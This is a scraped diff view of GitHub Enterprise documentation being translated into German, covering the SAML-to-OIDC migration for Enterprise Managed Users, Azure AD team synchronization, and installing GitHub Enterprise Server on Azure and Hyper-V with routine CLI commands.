If you're new to {% data variables.product.prodname_emus %} and haven't yet configured authentication for your enterprise, you do not need to migrate and can set up OIDC single sign-on immediately. For more information, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)."
Wenn {% data variables.product.prodname_emus %} neu für dich ist und du noch keine Authentifizierung für dein Unternehmen konfiguriert hast, musst du nicht migrieren und kannst sofort OIDC Single Sign-On einrichten. Weitere Informationen findest du unter [Konfigurieren von OIDC für Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users).
## Migrating your enterprise
## Migrieren deines Unternehmens
{% note %}
**Note:** To sign in as the setup user, you will need a recovery code. If you do not already have your recovery codes, you can access the codes while signed in as an enterprise owner. For more information, see "[Downloading your enterprise account's single sign-on recovery codes](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes)."
**Hinweis:** Um dich als Setupbenutzer anzumelden, benötigst du einen Wiederherstellungscode. Wenn du noch nicht über deine Wiederherstellungscodes verfügst, kannst du auf die Codes zugreifen, während du als Unternehmensbesitzer angemeldet bist. Weitere Informationen findest du unter [Herunterladen der SSO-Wiederherstellungscodes für dein Unternehmenskonto](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes).
{% endnote %}
1. Before you begin the migration, sign in to Azure and disable provisioning in the existing {% data variables.product.prodname_emu_idp_application %} application.
1. If you use [Conditional Access (CA) network location policies](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/location-condition) in Azure AD, and you're currently using an IP allow list with your enterprise account or any of the organizations owned by the enterprise account on {% data variables.product.prodname_dotcom_the_website %}, disable the IP allow lists. For more information, see "[Enforcing security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)" and "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization)."
1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your enterprise with the username **@<em>SHORT-CODE</em>_admin**.
1. When prompted to continue to your identity provider, click **Use a recovery code** and sign in using one of your enterprise's recovery codes.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
1. At the bottom of the page, next to "Migrate to OpenID Connect single sign-on", click **Configure with Azure**.
1. Bevor du mit der Migration beginnst, melde dich bei Azure an, und deaktiviere die Bereitstellung in der vorhandenen Anwendung {% data variables.product.prodname_emu_idp_application %}.
1. Wenn du in Azure AD [Richtlinien für den bedingten Zugriff mit einer Netzwerkstandortbedingung](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/location-condition) verwendest und du derzeit eine IP-Zulassungsliste mit deinem Unternehmenskonto oder einer der Organisationen verwendest, die zum Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} gehören, deaktiviere die IP-Zulassungslisten. Weitere Informationen findest du unter [Sicherheitseinstellungen in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise) und [Verwalten zulässiger IP-Adressen für dein Unternehmen](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization).
1. Melde dich auf {% data variables.product.prodname_dotcom_the_website %} als Setupbenutzer für dein Unternehmen mit dem Benutzernamen **@<em>KURZCODE</em>_admin** an.
1. Wenn du aufgefordert wirst, mit deinem Identitätsanbieter fortzufahren, klicke auf **Wiederherstellungscode verwenden**, und melde dich mit einem der Wiederherstellungscodes deines Unternehmens an.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
1. Klicke unten auf der Seite neben „Zu OpenID Connect SSO migrieren“ auf **Konfigurieren mit Azure**.
{% warning %}
**Warning:** The migration can take up to an hour, and it is important that no users are provisioned during the migration. You can confirm if the migration is still in progress by returning to your enterprise's security settings page; if "Require SAML authentication" is still checked, the migration is still in progress.
**Warnung:** Die Migration kann bis zu einer Stunde dauern, und es ist wichtig, dass während der Migration keine Benutzer bereitgestellt werden. Du kannst überprüfen, ob die Migration noch ausgeführt wird, indem du zur Seite mit den Sicherheitseinstellungen deines Unternehmens zurückkehrst. Wenn die Option „SAML-Authentifizierung erforderlich“ noch aktiviert ist, wird die Migration noch ausgeführt.
{% endwarning %}
![Screenshot showing the "Configure with Azure" button](/assets/images/help/enterprises/saml-to-oidc-button.png)
1. Read both warnings and click to continue.
![Screenshot der Schaltfläche „Konfigurieren mit Azure“](/assets/images/help/enterprises/saml-to-oidc-button.png)
1. Lies beide Warnungen, und klicke, um fortzufahren.
{% data reusables.enterprise-accounts.emu-azure-admin-consent %}
1. In a new tab or window, while signed in as the setup user on {% data variables.product.prodname_dotcom_the_website %}, create a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope and **no expiration** and copy it to your clipboard. For more information about creating a new token, see "[Creating a {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token)."
1. In the settings for the {% data variables.product.prodname_emu_idp_oidc_application %} application in Azure Portal, under "Tenant URL", type `https://api.github.com/scim/v2/enterprises/YOUR_ENTERPRISE`, replacing YOUR_ENTERPRISE with the name of your enterprise account.
1. Während du als Setupbenutzer*in auf {% data variables.product.prodname_dotcom_the_website %} angemeldet bist, erstelle in einer neuen Registerkarte oder einem neuen Fenster ein {% data variables.product.pat_v1 %} mit dem Bereich **admin:enterprise** und **ohne Ablaufdatum**, und kopiere es in die Zwischenablage. Weitere Informationen zum Erstellen eines neuen Tokens findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token).
1. Gib im Azure-Portal in den Einstellungen für die {% data variables.product.prodname_emu_idp_oidc_application %}-Anwendung unter „Mandanten-URL“ `https://api.github.com/scim/v2/enterprises/YOUR_ENTERPRISE` ein, um YOUR_ENTERPRISE durch den Namen deines Unternehmenskontos zu ersetzen.
For example, if your enterprise account's URL is `https://github.com/enterprises/octo-corp`, the name of the enterprise account is `octo-corp`.
1. Under "Secret token", paste the {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that you created earlier.
1. To test the configuration, click **Test Connection**.
1. To save your changes, at the top of the form, click **Save**.
1. In Azure Portal, copy the users and groups from the old {% data variables.product.prodname_emu_idp_application %} application to the new {% data variables.product.prodname_emu_idp_oidc_application %} application.
1. Test your configuration by provisioning a single new user.
1. If your test is successful, start provisioning for all users by clicking **Start provisioning**.
Wenn die URL deines Unternehmenskontos beispielsweise `https://github.com/enterprises/octo-corp` lautet, lautet der Name des Unternehmenskontos `octo-corp`.
1. Füge unter „Geheimes Token“ das {% data variables.product.pat_v1 %} mit dem zuvor erstellten Bereich **admin:enterprise** ein.
1. Klicke zum Testen der Konfiguration auf **Verbindung testen**.
1. Um deine Änderungen zu speichern, klicke oben im Formular auf **Speichern**.
1. Kopiere im Azure-Portal die Benutzer und Gruppen aus der alten {% data variables.product.prodname_emu_idp_application %}-Anwendung in die neue {% data variables.product.prodname_emu_idp_oidc_application %}-Anwendung.
1. Teste deine Konfiguration, indem du einen einzelnen neuen Benutzer bereitstellst.
1. Wenn dein Test erfolgreich ist, starte die Bereitstellung für alle Benutzer durch Klicken auf **Bereitstellung starten**.

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Managing team synchronization for organizations in your enterprise
intro: 'You can enable team synchronization between Azure AD and {% data variables.product.product_name %} to allow organizations owned by your enterprise account to manage team membership through IdP groups.'
title: Verwalten der Teamsynchronisierung für Organisationen in deinem Unternehmen
intro: 'Du kannst die Teamsynchronisierung zwischen Azure AD und {% data variables.product.product_name %} aktivieren, sodass Organisationen im Besitz deines Unternehmenskontos Teammitgliedschaften über IdP-Gruppen verwalten können.'
permissions: Enterprise owners can manage team synchronization for an enterprise account.
versions:
ghec: '*'
@ -16,13 +16,18 @@ redirect_from:
- /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise
- /admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise
shortTitle: Manage team synchronization
ms.openlocfilehash: 1e29d70b0b8fcf78a8b03834e9436112634c636f
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '147076935'
---
{% data reusables.enterprise-accounts.emu-scim-note %}
## About team synchronization for enterprise accounts
## Informationen zur Teamsynchronisierung für Unternehmenskonten
If you use SAML at the enterprise level with Azure AD as your IdP, you can enable team synchronization for your enterprise account to allow organization owners and team maintainers to synchronize teams in the organizations owned by your enterprise accounts with IdP groups.
Wenn du SAML auf Unternehmensebene mit Azure AD als IdP verwendest, kannst du die Teamsynchronisierung für dein Unternehmenskonto aktivieren, damit Organisationsbesitzer*innen und Teambetreuer*innen Teams in den Organisationen synchronisieren können, die sich im Besitz deiner Unternehmenskonten mit IdP-Gruppen befinden.
{% data reusables.identity-and-permissions.about-team-sync %}
@ -30,29 +35,24 @@ If you use SAML at the enterprise level with Azure AD as your IdP, you can enabl
{% data reusables.identity-and-permissions.team-sync-disable %}
You can also configure and manage team synchronization for an individual organization. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
Du kannst auch die Teamsynchronisation für eine einzelne Organisation konfigurieren und verwalten. Weitere Informationen findest du unter [Verwalten der Teamsynchronisierung für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization).
{% data reusables.identity-and-permissions.team-sync-usage-limits %}
## Prerequisites
## Voraussetzungen
You or your Azure AD administrator must be a Global administrator or a Privileged Role administrator in Azure AD.
müssen du oder dein Azure AD-Administrator ein Global-Administrator oder ein Privileged Role-Administrator in Azure AD sein.
You must enforce SAML single sign-on for organizations in your enterprise account with your supported IdP. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
Du musst SAML-SSO für Organisationen in deinem Unternehmenskonto mit deinem unterstützten IdP erzwingen. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise).
You must authenticate to your enterprise account using SAML SSO and the supported IdP. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
musst du mit SAML SSO und der unterstützten IdP zu deinem Enterprise-Konto authentifizieren. Weitere Informationen findest du unter [Authentifizieren mit einmaligem Anmelden mit SAML](/articles/authenticating-with-saml-single-sign-on).
## Managing team synchronization for Azure AD
## Teamsynchronisation für Azure AD verwalten
{% data reusables.identity-and-permissions.team-sync-azure-permissions %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.security-tab %}
{% data reusables.identity-and-permissions.team-sync-confirm-saml %}
{% data reusables.identity-and-permissions.enable-team-sync-azure %}
{% data reusables.identity-and-permissions.team-sync-confirm %}
7. Review the details for the IdP tenant you want to connect to your enterprise account, then click **Approve**.
![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png)
8. To disable team synchronization, click **Disable team synchronization**.
![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png)
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} {% data reusables.identity-and-permissions.team-sync-confirm-saml %} {% data reusables.identity-and-permissions.enable-team-sync-azure %} {% data reusables.identity-and-permissions.team-sync-confirm %}
7. Überprüfe die Details für den IdP-Mandanten, der eine Verbindung mit deinem Unternehmenskonto herstellen soll, und klicke dann auf **Genehmigen**.
![Ausstehende Anforderung zum Aktivieren der Teamsynchronisierung für einen bestimmten IdP-Mandanten mit der Option zum Genehmigen oder Ablehnen der Anforderung](/assets/images/help/teams/approve-team-synchronization.png)
8. Um die Teamsynchronisierung zu deaktivieren, klicke auf **Teamsynchronisierung deaktivieren**.
![Deaktivieren von Teamsynchronisierung](/assets/images/help/teams/disable-team-synchronization.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Installing GitHub Enterprise Server on Azure
intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a memory-optimized instance that supports premium storage.'
title: GitHub Enterprise Server auf Azure installieren
intro: 'Um {% data variables.product.prodname_ghe_server %} in Azure zu installieren, musst du eine speicheroptimierte Instanz bereitstellen, die Storage Premium unterstützt.'
redirect_from:
- /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
- /enterprise/admin/installation/installing-github-enterprise-server-on-azure
@ -14,58 +14,64 @@ topics:
- Infrastructure
- Set up
shortTitle: Install on Azure
ms.openlocfilehash: 7d5d1024083e448785ca1429ffd71e343e7cd507
ms.sourcegitcommit: 152a2399e22f476eba91a74d1980b96f468f4d2c
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160865'
---
You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
Du kannst {% data variables.product.prodname_ghe_server %} auf Global Azure oder Azure Government bereitstellen.
## Prerequisites
## Voraussetzungen
- {% data reusables.enterprise_installation.software-license %}
- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
- Du musst über ein Azure-Konto verfügen, das neue Computer bereitstellen kann. Weitere Informationen findest du auf der [Microsoft Azure-Website](https://azure.microsoft.com).
- Die meisten Aktionen, die zum Starten deines virtuellen Computers (VM) erforderlich sind, können auch mithilfe des Azure-Portals ausgeführt werden. Zur Ersteinrichtung solltest du jedoch die Azure-Befehlszeilenschnittstelle (CLI) installieren. Im Folgenden findest du Beispiele zur Verwendung der Azure CLI 2.0. Weitere Informationen findest du im Azure-Leitfaden zum [Installieren von Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest).
## Hardware considerations
## Hardwareaspekte
{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
## Determining the virtual machine type
## Typ der virtuellen Maschine ermitteln
Before launching {% data variables.location.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. For more information about memory optimized machines, see "[Memory optimized virtual machine sizes](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes-memory)" in the Microsoft Azure documentation. To review the minimum resource requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
Bevor du {% data variables.location.product_location %} auf Azure startest, musst du den Computertyp ermitteln, der den Anforderungen deiner Organisation am besten entspricht. Weitere Informationen zu arbeitsspeicheroptimierten Computern findest du in der Microsoft Azure-Dokumentation unter [Arbeitsspeicheroptimierte VM-Größen](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes-memory). Informationen zum Überprüfen der Mindestanforderungen an Ressourcen für {% data variables.product.product_name %} findest du unter [Mindestanforderungen](#minimum-requirements).
{% data reusables.enterprise_installation.warning-on-scaling %}
{% data reusables.enterprise_installation.azure-instance-recommendation %}
## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
## {% data variables.product.prodname_ghe_server %}-VM erstellen
{% data reusables.enterprise_installation.create-ghe-instance %}
1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[`az vm image list`](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
1. Suche nach dem neuesten {% data variables.product.prodname_ghe_server %}-Appliance-Image. Weitere Informationen zum Befehl `vm image list` findest du in der Microsoft-Dokumentation unter [`az vm image list`](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list).
```shell
$ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
```
2. Create a new VM using the appliance image you found. For more information, see "[`az vm create`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
2. Erstelle mithilfe des von dir ermittelten Appliance-Images eine neue VM. Weitere Informationen findest du in der Microsoft-Dokumentation unter [`az vm create`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create).
Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
Übergib Optionen für den Namen deiner VM, den Ressourcentyp, die Größe deiner VM, den Namen deiner bevorzugten Azure-Region, den Namen der von dir im vorherigen Schritt aufgelisteten Appliance-Image-VM und die Storage-SKU für den Premium-Storage. Weitere Informationen zu Ressourcengruppen findest du in der Microsoft-Dokumentation unter [Ressourcengruppen](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups).
```shell
$ az vm create -n VM_NAME -g RESOURCE_GROUP --size VM_SIZE -l REGION --image APPLIANCE_IMAGE_NAME --storage-sku Premium_LRS
```
3. Configure the security settings on your VM to open up required ports. For more information, see "[`az vm open-port`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
3. Konfiguriere die Sicherheitseinstellungen auf deiner VM, um die erforderlichen Ports zu öffnen. Weitere Informationen findest du in der Microsoft-Dokumentation unter [`az vm open-port`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port). In der folgenden Tabelle findest du eine Beschreibung der einzelnen Ports, um festzustellen, welche Ports du öffnen musst.
```shell
$ az vm open-port -n VM_NAME -g RESOURCE_GROUP --port PORT_NUMBER
```
This table identifies what each port is used for.
Diese Tabelle zeigt, wofür jeder Port verwendet wird.
{% data reusables.enterprise_installation.necessary_ports %}
4. Create and attach a new unencrypted data disk to the VM, and configure the size based on your user license count. For more information, see "[`az vm disk attach`](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
4. Erstelle eine neue unverschlüsselte Daten-Festplatte, hänge sie an die VM und konfiguriere die Größe entsprechend deiner Anzahl von Benutzerlizenzen. Weitere Informationen findest du in der Microsoft-Dokumentation unter [`az vm disk attach`](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach).
Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `200`), and a name for the resulting VHD.
Übergib Optionen für den Namen deiner VM (z. B. `ghe-acme-corp`), die Ressourcengruppe, die SKU „Storage Premium“, die Größe des Datenträgers (z. B. `200`) und einen Namen für die resultierende VHD.
```shell
$ az vm disk attach --vm-name VM_NAME -g RESOURCE_GROUP --sku Premium_LRS --new -z SIZE_IN_GB --name ghe-data.vhd --caching ReadWrite
@ -73,13 +79,13 @@ Before launching {% data variables.location.product_location %} on Azure, you'll
{% note %}
**Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 150 GiB with read/write cache enabled (`--caching ReadWrite`).
**Hinweis:** Damit Nicht-Produktionsinstanzen einen ausreichenden E/A-Durchsatz aufweisen, wird eine minimale Datenträgergröße von 150 GiB mit aktiviertem Lese-/Schreib-Cache (`--caching ReadWrite`) empfohlen.
{% endnote %}
## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
## {% data variables.product.prodname_ghe_server %}-VM konfigurieren
1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[`az vm list`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
1. Vor der VM-Konfiguration musst du darauf warten, dass sie den Status „ReadyRole“ aufweist. Führe den Befehl `vm list` aus, um den Status der VM zu überprüfen. Weitere Informationen findest du in der Microsoft-Dokumentation unter [`az vm list`](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list).
```shell
$ az vm list -d -g RESOURCE_GROUP -o table
> Name ResourceGroup PowerState PublicIps Fqdns Location Zones
@ -89,25 +95,22 @@ Before launching {% data variables.location.product_location %} on Azure, you'll
```
{% note %}
**Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
**Hinweis:** Azure erstellt nicht automatisch einen FQDN-Eintrag für die VM. Weitere Informationen findest du im Azure-Leitfaden zum [Erstellen eines vollqualifizierten Domänennamens im Azure-Portal für eine Linux-VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn).
{% endnote %}
{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
{% data reusables.enterprise_installation.upload-a-license-file %}
{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
{% data reusables.enterprise_installation.instance-will-restart-automatically %}
{% data reusables.enterprise_installation.visit-your-instance %}
{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Weitere Informationen findest du unter [Konfigurieren der {% data variables.product.prodname_ghe_server %}-Appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance).
{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %}
## Azure extension features
## Die Merkmale der Azure-Erweiterung
{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions.
{% data variables.product.product_name %} unterstützt die Installation von Azure-Erweiterungsfeatures nicht. Das Image {% data variables.product.prodname_ghe_server %} wird mit einem angepassten `waagent`-Paket ausgeliefert, das nur grundlegende VM-Verwaltungsfunktionen unterstützt und erweiterte VM-Verwaltungsfunktionen blockiert.
To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported.
Um Systeminstabilität deiner {% data variables.product.prodname_ghe_server %}-Instanz zu vermeiden, wird der `walinuxagent`-Dienst absichtlich in {% data variables.product.prodname_ghe_server %} in einem eingeschränkten Modus ausgeführt, wodurch der Agent explizit nicht in der Lage ist, andere Agents zu installieren. VM-Verwaltungsfeatures, die auf im {% data variables.product.prodname_ghe_server %}-Image enthaltene zusätzliche Agents und Erweiterungen beruhen, z. B. die Überwachungs-Agent-Erweiterung für Azure Insights oder Azure-Sicherungen, werden nicht unterstützt.
Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)."
Da {% data variables.product.product_name %} ein angepasstes Linux-Betriebssystem nur mit den erforderlichen Anwendungen und Diensten ausführt, überschreibt das manuelle Installieren oder Aktualisieren von Betriebssystempaketen diese Anpassungen und kann zu unerwartetem Verhalten führen. Weitere Informationen findest du unter [Systemübersicht](/admin/overview/system-overview).
## Further reading
## Weiterführende Themen
- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
- [Systemübersicht](/enterprise/admin/guides/installation/system-overview){% ifversion ghes %}
- [Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases){% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Installing GitHub Enterprise Server on Hyper-V
intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
title: GitHub Enterprise Server auf Hyper-V installieren
intro: 'Zum Installieren auf Hyper-V musst du {% data variables.product.prodname_ghe_server %} auf einem Computer unter Windows Server 2008 bis Windows Server 2019 bereitstellen.'
redirect_from:
- /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
- /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
@ -14,59 +14,61 @@ topics:
- Infrastructure
- Set up
shortTitle: Install on Hyper-V
ms.openlocfilehash: f5b465edc4ff84be00e2749766091cc5cfb1962a
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145106731'
---
## Prerequisites
## Voraussetzungen
- {% data reusables.enterprise_installation.software-license %}
- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
- Du musst über Windows Server 2008 bis Windows Server 2019 verfügen, die Hyper-V unterstützen.
- Die meisten zum Erstellen deines virtuellen Computers (VM) erforderlichen Aktionen können auch mithilfe des [Hyper-V-Managers](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts) ausgeführt werden. Zur Ersteinrichtung solltest du jedoch die Windows PowerShell-Befehlszeilenshell verwenden. Im Folgenden findest du Beispiele zur Verwendung von PowerShell. Weitere Informationen findest du im Microsoft-Leitfaden [Erste Schritte mit Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1).
## Hardware considerations
## Hardwareaspekte
{% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
## Downloading the {% data variables.product.prodname_ghe_server %} image
## {% data variables.product.prodname_ghe_server %}-Image herunterladen
{% data reusables.enterprise_installation.download-license %}
{% data reusables.enterprise_installation.download-appliance %}
4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **Hyper-V (VHD)**.
5. Click **Download for Hyper-V (VHD)**.
{% data reusables.enterprise_installation.download-license %} {% data reusables.enterprise_installation.download-appliance %}
4. Wähle unter „{% data variables.product.prodname_dotcom %} Lokal“ die Dropdownliste „Hypervisor auswählen“ aus, und klicke auf **Hyper-V (VHD)**.
5. Klicke auf **Für Hyper-V (VHD) herunterladen**.
## Creating the {% data variables.product.prodname_ghe_server %} instance
## {% data variables.product.prodname_ghe_server %}-Instanz erstellen
{% data reusables.enterprise_installation.create-ghe-instance %}
1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
1. Erstelle in PowerShell eine neue virtuelle Maschine der 1. Generation, konfiguriere die Größe anhand der Anzahl deiner verfügbaren Benutzerlizenzen, und hänge das von Dir heruntergeladene {% data variables.product.prodname_ghe_server %}-Image an. Weitere Informationen findest du in der Microsoft-Dokumentation unter [New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps).
```shell
PS C:\> New-VM -Generation 1 -Name VM_NAME -MemoryStartupBytes MEMORY_SIZE -BootDevice VHD -VHDPath PATH_TO_VHD
PS C:\> New-VM -Generation 1 -Name <em>VM_NAME</em> -MemoryStartupBytes <em>MEMORY_SIZE</em> -BootDevice VHD -VHDPath <em>PATH_TO_VHD</em>
```
{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
{% data reusables.enterprise_installation.create-attached-storage-volume %} Ersetze `PATH_TO_DATA_DISK` durch den Pfad zu dem Speicherort, an dem du den Datenträger erstellst. Weitere Informationen findest du in der Microsoft-Dokumentation unter [New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps).
```shell
PS C:\> New-VHD -Path PATH_TO_DATA_DISK -SizeBytes DISK_SIZE
PS C:\> New-VHD -Path <em>PATH_TO_DATA_DISK</em> -SizeBytes <em>DISK_SIZE</em>
```
